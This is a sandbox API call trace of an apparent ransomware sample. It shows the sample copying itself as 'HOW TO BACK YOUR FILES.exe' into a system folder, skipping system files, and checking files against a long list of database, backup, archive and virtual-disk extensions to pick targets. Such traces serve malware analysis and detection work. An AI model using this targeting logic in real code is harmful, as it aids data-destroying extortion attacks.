	[0085.183] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3000a5d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3000a5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.183] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.183] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3000a5d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3000a5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0085.183] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0085.183] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79b0
	[0085.183] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US"
	[0085.183] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0085.183] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0085.183] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned 56
	[0085.183] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US"
	[0085.183] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.183] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.184] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.184] GetLastError () returned 0x0
	[0085.184] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.184] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.184] CloseHandle (hObject=0x10c) returned 1
	[0085.184] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.184] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.184] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30030730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0085.184] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.184] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.184] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0085.184] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30030730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.185] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.185] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.185] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.185] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.185] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2436abaa, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa65a8bbf, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Help_CValidator.H1D", cAlternateFileName="HELP_C~1.H1D")) returned 1
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="Apollon865.txt.exe") returned 1
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".") returned 1
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="..") returned 1
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="windows") returned -1
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="bootmgr") returned 1
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="temp") returned -1
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="pagefile.sys") returned -1
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="boot") returned 1
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="ids.txt") returned -1
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="ntuser.dat") returned -1
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="perflogs") returned -1
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="MSBuild") returned -1
	[0085.185] lstrlenW (lpString="Help_CValidator.H1D") returned 19
	[0085.185] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*") returned 58
	[0085.185] lstrcpyW (in: lpString1=0x119e67a, lpString2="Help_CValidator.H1D" | out: lpString1="Help_CValidator.H1D") returned="Help_CValidator.H1D"
	[0085.185] lstrlenW (lpString="Help_CValidator.H1D") returned 19
	[0085.185] lstrlenW (lpString="Apollon865") returned 10
	[0085.185] lstrcmpiW (lpString1="idator.H1D", lpString2="Apollon865") returned 1
	[0085.185] lstrlenW (lpString=".dll") returned 4
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".dll") returned 1
	[0085.185] lstrlenW (lpString=".lnk") returned 4
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".lnk") returned 1
	[0085.185] lstrlenW (lpString=".ini") returned 4
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".ini") returned 1
	[0085.185] lstrlenW (lpString=".sys") returned 4
	[0085.185] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".sys") returned 1
	[0085.185] lstrlenW (lpString="Help_CValidator.H1D") returned 19
	[0085.185] lstrlenW (lpString="bak") returned 3
	[0085.185] lstrcmpiW (lpString1="H1D", lpString2="bak") returned 1
	[0085.185] lstrlenW (lpString="ba_") returned 3
	[0085.186] lstrcmpiW (lpString1="H1D", lpString2="ba_") returned 1
	[0085.186] lstrlenW (lpString="dbb") returned 3
	[0085.186] lstrcmpiW (lpString1="H1D", lpString2="dbb") returned 1
	[0085.186] lstrlenW (lpString="vmdk") returned 4
	[0085.186] lstrcmpiW (lpString1=".H1D", lpString2="vmdk") returned -1
	[0085.186] lstrlenW (lpString="rar") returned 3
	[0085.186] lstrcmpiW (lpString1="H1D", lpString2="rar") returned -1
	[0085.186] lstrlenW (lpString="zip") returned 3
	[0085.186] lstrcmpiW (lpString1="H1D", lpString2="zip") returned -1
	[0085.186] lstrlenW (lpString="tgz") returned 3
	[0085.186] lstrcmpiW (lpString1="H1D", lpString2="tgz") returned -1
	[0085.186] lstrlenW (lpString="vbox") returned 4
	[0085.186] lstrcmpiW (lpString1=".H1D", lpString2="vbox") returned -1
	[0085.186] lstrlenW (lpString="vdi") returned 3
	[0085.186] lstrcmpiW (lpString1="H1D", lpString2="vdi") returned -1
	[0085.186] lstrlenW (lpString="vhd") returned 3
	[0085.186] lstrcmpiW (lpString1="H1D", lpString2="vhd") returned -1
	[0085.186] lstrlenW (lpString="vhdx") returned 4
	[0085.186] lstrcmpiW (lpString1=".H1D", lpString2="vhdx") returned -1
	[0085.186] lstrlenW (lpString="avhd") returned 4
	[0085.186] lstrcmpiW (lpString1=".H1D", lpString2="avhd") returned -1
	[0085.186] lstrlenW (lpString="db") returned 2
	[0085.186] lstrcmpiW (lpString1="1D", lpString2="db") returned -1
	[0085.186] lstrlenW (lpString="db2") returned 3
	[0085.186] lstrcmpiW (lpString1="H1D", lpString2="db2") returned 1
	[0085.186] lstrlenW (lpString="db3") returned 3
	[0085.186] lstrcmpiW (lpString1="H1D", lpString2="db3") returned 1
	[0085.186] lstrlenW (lpString="dbf") returned 3
	[0085.186] lstrcmpiW (lpString1="H1D", lpString2="dbf") returned 1
	[0085.186] lstrlenW (lpString="mdf") returned 3
	[0085.186] lstrcmpiW (lpString1="H1D", lpString2="mdf") returned -1
	[0085.186] lstrlenW (lpString="mdb") returned 3
	[0085.186] lstrcmpiW (lpString1="H1D", lpString2="mdb") returned -1
	[0085.186] lstrlenW (lpString="sql") returned 3
	[0085.186] lstrcmpiW (lpString1="H1D", lpString2="sql") returned -1
	[0085.186] lstrlenW (lpString="sqlite") returned 6
	[0085.186] lstrcmpiW (lpString1="or.H1D", lpString2="sqlite") returned -1
	[0085.186] lstrlenW (lpString="sqlite3") returned 7
	[0085.187] lstrcmpiW (lpString1="tor.H1D", lpString2="sqlite3") returned 1
	[0085.187] lstrlenW (lpString="sqlitedb") returned 8
	[0085.187] lstrcmpiW (lpString1="ator.H1D", lpString2="sqlitedb") returned -1
	[0085.187] lstrlenW (lpString="xml") returned 3
	[0085.187] lstrcmpiW (lpString1="H1D", lpString2="xml") returned -1
	[0085.187] lstrlenW (lpString="$er") returned 3
	[0085.187] lstrcmpiW (lpString1="H1D", lpString2="$er") returned 1
	[0085.187] lstrlenW (lpString="4dd") returned 3
	[0085.187] lstrcmpiW (lpString1="H1D", lpString2="4dd") returned 1
	[0085.187] lstrlenW (lpString="4dl") returned 3
	[0085.187] lstrcmpiW (lpString1="H1D", lpString2="4dl") returned 1
	[0085.187] lstrlenW (lpString="^^^") returned 3
	[0085.187] lstrcmpiW (lpString1="H1D", lpString2="^^^") returned 1
	[0085.187] lstrlenW (lpString="abs") returned 3
	[0085.187] lstrcmpiW (lpString1="H1D", lpString2="abs") returned 1
	[0085.187] lstrlenW (lpString="abx") returned 3
	[0085.187] lstrcmpiW (lpString1="H1D", lpString2="abx") returned 1
	[0085.187] lstrlenW (lpString="accdb") returned 5
	[0085.187] lstrcmpiW (lpString1="r.H1D", lpString2="accdb") returned 1
	[0085.187] lstrlenW (lpString="accdc") returned 5
	[0085.187] lstrcmpiW (lpString1="r.H1D", lpString2="accdc") returned 1
	[0085.187] lstrlenW (lpString="accde") returned 5
	[0085.187] lstrcmpiW (lpString1="r.H1D", lpString2="accde") returned 1
	[0085.187] lstrlenW (lpString="accdr") returned 5
	[0085.187] lstrcmpiW (lpString1="r.H1D", lpString2="accdr") returned 1
	[0085.187] lstrlenW (lpString="accdt") returned 5
	[0085.187] lstrcmpiW (lpString1="r.H1D", lpString2="accdt") returned 1
	[0085.187] lstrlenW (lpString="accdw") returned 5
	[0085.187] lstrcmpiW (lpString1="r.H1D", lpString2="accdw") returned 1
	[0085.187] lstrlenW (lpString="accft") returned 5
	[0085.187] lstrcmpiW (lpString1="r.H1D", lpString2="accft") returned 1
	[0085.187] lstrlenW (lpString="adb") returned 3
	[0085.187] lstrcmpiW (lpString1="H1D", lpString2="adb") returned 1
	[0085.187] lstrlenW (lpString="adb") returned 3
	[0085.187] lstrcmpiW (lpString1="H1D", lpString2="adb") returned 1
	[0085.187] lstrlenW (lpString="ade") returned 3
	[0085.187] lstrcmpiW (lpString1="H1D", lpString2="ade") returned 1
	[0085.187] lstrlenW (lpString="adf") returned 3
	[0085.188] lstrcmpiW (lpString1="H1D", lpString2="adf") returned 1
	[0085.188] lstrlenW (lpString="adn") returned 3
	[0085.188] lstrcmpiW (lpString1="H1D", lpString2="adn") returned 1
	[0085.188] lstrlenW (lpString="adp") returned 3
	[0085.188] lstrcmpiW (lpString1="H1D", lpString2="adp") returned 1
	[0085.188] lstrlenW (lpString="alf") returned 3
	[0085.188] lstrcmpiW (lpString1="H1D", lpString2="alf") returned 1
	[0085.188] lstrlenW (lpString="ask") returned 3
	[0085.188] lstrcmpiW (lpString1="H1D", lpString2="ask") returned 1
	[0085.188] lstrlenW (lpString="btr") returned 3
	[0085.188] lstrcmpiW (lpString1="H1D", lpString2="btr") returned 1
	[0085.188] lstrlenW (lpString="cat") returned 3
	[0085.188] lstrcmpiW (lpString1="H1D", lpString2="cat") returned 1
	[0085.188] lstrlenW (lpString="cdb") returned 3
	[0085.188] lstrcmpiW (lpString1="H1D", lpString2="cdb") returned 1
	[0085.188] lstrlenW (lpString="ckp") returned 3
	[0085.188] lstrcmpiW (lpString1="H1D", lpString2="ckp") returned 1
	[0085.188] lstrlenW (lpString="cma") returned 3
	[0085.188] lstrcmpiW (lpString1="H1D", lpString2="cma") returned 1
	[0085.188] lstrlenW (lpString="cpd") returned 3
	[0085.188] lstrcmpiW (lpString1="H1D", lpString2="cpd") returned 1
	[0085.188] lstrlenW (lpString="dacpac") returned 6
	[0085.188] lstrcmpiW (lpString1="or.H1D", lpString2="dacpac") returned 1
	[0085.188] lstrlenW (lpString="dad") returned 3
	[0085.188] lstrcmpiW (lpString1="H1D", lpString2="dad") returned 1
	[0085.188] lstrlenW (lpString="dadiagrams") returned 10
	[0085.188] lstrcmpiW (lpString1="idator.H1D", lpString2="dadiagrams") returned 1
	[0085.188] lstrlenW (lpString="daschema") returned 8
	[0085.188] lstrcmpiW (lpString1="ator.H1D", lpString2="daschema") returned -1
	[0085.188] lstrlenW (lpString="db-journal") returned 10
	[0085.188] lstrcmpiW (lpString1="idator.H1D", lpString2="db-journal") returned 1
	[0085.188] lstrlenW (lpString="db-shm") returned 6
	[0085.188] lstrcmpiW (lpString1="or.H1D", lpString2="db-shm") returned 1
	[0085.188] lstrlenW (lpString="db-wal") returned 6
	[0085.188] lstrcmpiW (lpString1="or.H1D", lpString2="db-wal") returned 1
	[0085.188] lstrlenW (lpString="dbc") returned 3
	[0085.188] lstrcmpiW (lpString1="H1D", lpString2="dbc") returned 1
	[0085.188] lstrlenW (lpString="dbs") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="dbs") returned 1
	[0085.189] lstrlenW (lpString="dbt") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="dbt") returned 1
	[0085.189] lstrlenW (lpString="dbv") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="dbv") returned 1
	[0085.189] lstrlenW (lpString="dbx") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="dbx") returned 1
	[0085.189] lstrlenW (lpString="dcb") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="dcb") returned 1
	[0085.189] lstrlenW (lpString="dct") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="dct") returned 1
	[0085.189] lstrlenW (lpString="dcx") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="dcx") returned 1
	[0085.189] lstrlenW (lpString="ddl") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="ddl") returned 1
	[0085.189] lstrlenW (lpString="dlis") returned 4
	[0085.189] lstrcmpiW (lpString1=".H1D", lpString2="dlis") returned -1
	[0085.189] lstrlenW (lpString="dp1") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="dp1") returned 1
	[0085.189] lstrlenW (lpString="dqy") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="dqy") returned 1
	[0085.189] lstrlenW (lpString="dsk") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="dsk") returned 1
	[0085.189] lstrlenW (lpString="dsn") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="dsn") returned 1
	[0085.189] lstrlenW (lpString="dtsx") returned 4
	[0085.189] lstrcmpiW (lpString1=".H1D", lpString2="dtsx") returned -1
	[0085.189] lstrlenW (lpString="dxl") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="dxl") returned 1
	[0085.189] lstrlenW (lpString="eco") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="eco") returned 1
	[0085.189] lstrlenW (lpString="ecx") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="ecx") returned 1
	[0085.189] lstrlenW (lpString="edb") returned 3
	[0085.189] lstrcmpiW (lpString1="H1D", lpString2="edb") returned 1
	[0085.189] lstrlenW (lpString="epim") returned 4
	[0085.189] lstrcmpiW (lpString1=".H1D", lpString2="epim") returned -1
	[0085.189] lstrlenW (lpString="fcd") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="fcd") returned 1
	[0085.190] lstrlenW (lpString="fdb") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="fdb") returned 1
	[0085.190] lstrlenW (lpString="fic") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="fic") returned 1
	[0085.190] lstrlenW (lpString="flexolibrary") returned 12
	[0085.190] lstrcmpiW (lpString1="alidator.H1D", lpString2="flexolibrary") returned -1
	[0085.190] lstrlenW (lpString="fm5") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="fm5") returned 1
	[0085.190] lstrlenW (lpString="fmp") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="fmp") returned 1
	[0085.190] lstrlenW (lpString="fmp12") returned 5
	[0085.190] lstrcmpiW (lpString1="r.H1D", lpString2="fmp12") returned 1
	[0085.190] lstrlenW (lpString="fmpsl") returned 5
	[0085.190] lstrcmpiW (lpString1="r.H1D", lpString2="fmpsl") returned 1
	[0085.190] lstrlenW (lpString="fol") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="fol") returned 1
	[0085.190] lstrlenW (lpString="fp3") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="fp3") returned 1
	[0085.190] lstrlenW (lpString="fp4") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="fp4") returned 1
	[0085.190] lstrlenW (lpString="fp5") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="fp5") returned 1
	[0085.190] lstrlenW (lpString="fp7") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="fp7") returned 1
	[0085.190] lstrlenW (lpString="fpt") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="fpt") returned 1
	[0085.190] lstrlenW (lpString="frm") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="frm") returned 1
	[0085.190] lstrlenW (lpString="gdb") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="gdb") returned 1
	[0085.190] lstrlenW (lpString="gdb") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="gdb") returned 1
	[0085.190] lstrlenW (lpString="grdb") returned 4
	[0085.190] lstrcmpiW (lpString1=".H1D", lpString2="grdb") returned -1
	[0085.190] lstrlenW (lpString="gwi") returned 3
	[0085.190] lstrcmpiW (lpString1="H1D", lpString2="gwi") returned 1
	[0085.190] lstrlenW (lpString="hdb") returned 3
	[0085.191] lstrcmpiW (lpString1="H1D", lpString2="hdb") returned -1
	[0085.191] lstrlenW (lpString="his") returned 3
	[0085.191] lstrcmpiW (lpString1="H1D", lpString2="his") returned -1
	[0085.191] lstrlenW (lpString="ib") returned 2
	[0085.191] lstrcmpiW (lpString1="1D", lpString2="ib") returned -1
	[0085.191] lstrlenW (lpString="idb") returned 3
	[0085.191] lstrcmpiW (lpString1="H1D", lpString2="idb") returned -1
	[0085.191] lstrlenW (lpString="ihx") returned 3
	[0085.191] lstrcmpiW (lpString1="H1D", lpString2="ihx") returned -1
	[0085.191] lstrlenW (lpString="itdb") returned 4
	[0085.191] lstrcmpiW (lpString1=".H1D", lpString2="itdb") returned -1
	[0085.191] lstrlenW (lpString="itw") returned 3
	[0085.191] lstrcmpiW (lpString1="H1D", lpString2="itw") returned -1
	[0085.191] lstrlenW (lpString="jet") returned 3
	[0085.191] lstrcmpiW (lpString1="H1D", lpString2="jet") returned -1
	[0085.191] lstrlenW (lpString="jtx") returned 3
	[0085.191] lstrcmpiW (lpString1="H1D", lpString2="jtx") returned -1
	[0085.191] lstrlenW (lpString="kdb") returned 3
	[0085.191] lstrcmpiW (lpString1="H1D", lpString2="kdb") returned -1
	[0085.191] lstrlenW (lpString="kexi") returned 4
	[0085.191] lstrcmpiW (lpString1=".H1D", lpString2="kexi") returned -1
	[0085.191] lstrlenW (lpString="kexic") returned 5
	[0085.191] lstrcmpiW (lpString1="r.H1D", lpString2="kexic") returned 1
	[0085.191] lstrlenW (lpString="kexis") returned 5
	[0085.191] lstrcmpiW (lpString1="r.H1D", lpString2="kexis") returned 1
	[0085.191] lstrlenW (lpString="lgc") returned 3
	[0085.191] lstrcmpiW (lpString1="H1D", lpString2="lgc") returned -1
	[0085.191] lstrlenW (lpString="lwx") returned 3
	[0085.191] lstrcmpiW (lpString1="H1D", lpString2="lwx") returned -1
	[0085.191] lstrlenW (lpString="maf") returned 3
	[0085.191] lstrcmpiW (lpString1="H1D", lpString2="maf") returned -1
	[0085.191] lstrlenW (lpString="maq") returned 3
	[0085.191] lstrcmpiW (lpString1="H1D", lpString2="maq") returned -1
	[0085.191] lstrlenW (lpString="mar") returned 3
	[0085.191] lstrcmpiW (lpString1="H1D", lpString2="mar") returned -1
	[0085.191] lstrlenW (lpString="marshal") returned 7
	[0085.191] lstrcmpiW (lpString1="tor.H1D", lpString2="marshal") returned 1
	[0085.191] lstrlenW (lpString="mas") returned 3
	[0085.191] lstrcmpiW (lpString1="H1D", lpString2="mas") returned -1
	[0085.191] lstrlenW (lpString="mav") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="mav") returned -1
	[0085.192] lstrlenW (lpString="maw") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="maw") returned -1
	[0085.192] lstrlenW (lpString="mdbhtml") returned 7
	[0085.192] lstrcmpiW (lpString1="tor.H1D", lpString2="mdbhtml") returned 1
	[0085.192] lstrlenW (lpString="mdn") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="mdn") returned -1
	[0085.192] lstrlenW (lpString="mdt") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="mdt") returned -1
	[0085.192] lstrlenW (lpString="mfd") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="mfd") returned -1
	[0085.192] lstrlenW (lpString="mpd") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="mpd") returned -1
	[0085.192] lstrlenW (lpString="mrg") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="mrg") returned -1
	[0085.192] lstrlenW (lpString="mud") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="mud") returned -1
	[0085.192] lstrlenW (lpString="mwb") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="mwb") returned -1
	[0085.192] lstrlenW (lpString="myd") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="myd") returned -1
	[0085.192] lstrlenW (lpString="ndf") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="ndf") returned -1
	[0085.192] lstrlenW (lpString="nnt") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="nnt") returned -1
	[0085.192] lstrlenW (lpString="nrmlib") returned 6
	[0085.192] lstrcmpiW (lpString1="or.H1D", lpString2="nrmlib") returned 1
	[0085.192] lstrlenW (lpString="ns2") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="ns2") returned -1
	[0085.192] lstrlenW (lpString="ns3") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="ns3") returned -1
	[0085.192] lstrlenW (lpString="ns4") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="ns4") returned -1
	[0085.192] lstrlenW (lpString="nsf") returned 3
	[0085.192] lstrcmpiW (lpString1="H1D", lpString2="nsf") returned -1
	[0085.192] lstrlenW (lpString="nv") returned 2
	[0085.193] lstrcmpiW (lpString1="1D", lpString2="nv") returned -1
	[0085.193] lstrlenW (lpString="nv2") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="nv2") returned -1
	[0085.193] lstrlenW (lpString="nwdb") returned 4
	[0085.193] lstrcmpiW (lpString1=".H1D", lpString2="nwdb") returned -1
	[0085.193] lstrlenW (lpString="nyf") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="nyf") returned -1
	[0085.193] lstrlenW (lpString="odb") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="odb") returned -1
	[0085.193] lstrlenW (lpString="odb") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="odb") returned -1
	[0085.193] lstrlenW (lpString="oqy") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="oqy") returned -1
	[0085.193] lstrlenW (lpString="ora") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="ora") returned -1
	[0085.193] lstrlenW (lpString="orx") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="orx") returned -1
	[0085.193] lstrlenW (lpString="owc") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="owc") returned -1
	[0085.193] lstrlenW (lpString="p96") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="p96") returned -1
	[0085.193] lstrlenW (lpString="p97") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="p97") returned -1
	[0085.193] lstrlenW (lpString="pan") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="pan") returned -1
	[0085.193] lstrlenW (lpString="pdb") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="pdb") returned -1
	[0085.193] lstrlenW (lpString="pdm") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="pdm") returned -1
	[0085.193] lstrlenW (lpString="pnz") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="pnz") returned -1
	[0085.193] lstrlenW (lpString="qry") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="qry") returned -1
	[0085.193] lstrlenW (lpString="qvd") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="qvd") returned -1
	[0085.193] lstrlenW (lpString="rbf") returned 3
	[0085.193] lstrcmpiW (lpString1="H1D", lpString2="rbf") returned -1
	[0085.193] lstrlenW (lpString="rctd") returned 4
	[0085.194] lstrcmpiW (lpString1=".H1D", lpString2="rctd") returned -1
